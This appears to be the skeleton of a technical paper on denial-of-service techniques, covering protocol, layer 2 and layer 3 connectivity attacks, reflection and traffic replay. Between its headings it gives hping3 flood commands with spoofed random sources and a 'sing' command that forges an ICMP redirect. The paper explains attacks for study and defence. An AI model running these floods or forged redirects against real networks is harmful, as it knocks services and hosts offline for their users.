Denial of Service Attacks

Abstract.
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Broadband access and WiFi
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Denial of Service today

Techniques
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Denial of Service Techniques

Network protocols attacks
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# hping3 --rand-source -S -L 0 -p <target port> <target IP>
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# hping3 --rand-source -SA -p <open port> <target IP>
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Connectivity attacks
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Layer 2 connectivity attacks
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# hping3 --rand-source —-SAFRU -L 0 -M 0 -p <port> <target> --flood
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Layer 3 connectivity attacks
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# sing -red -S <default gateway IP> -gw <fake gateway IP> -dest
0.0.0.0 -x net <target host IP>
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Concepts and logical weaknesses
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Improving efficiency
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Side-effects
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# dig radware.com mx
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Leveraging effects

The Push flag
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Malicious traffic replay
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Reflection
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Conclusion
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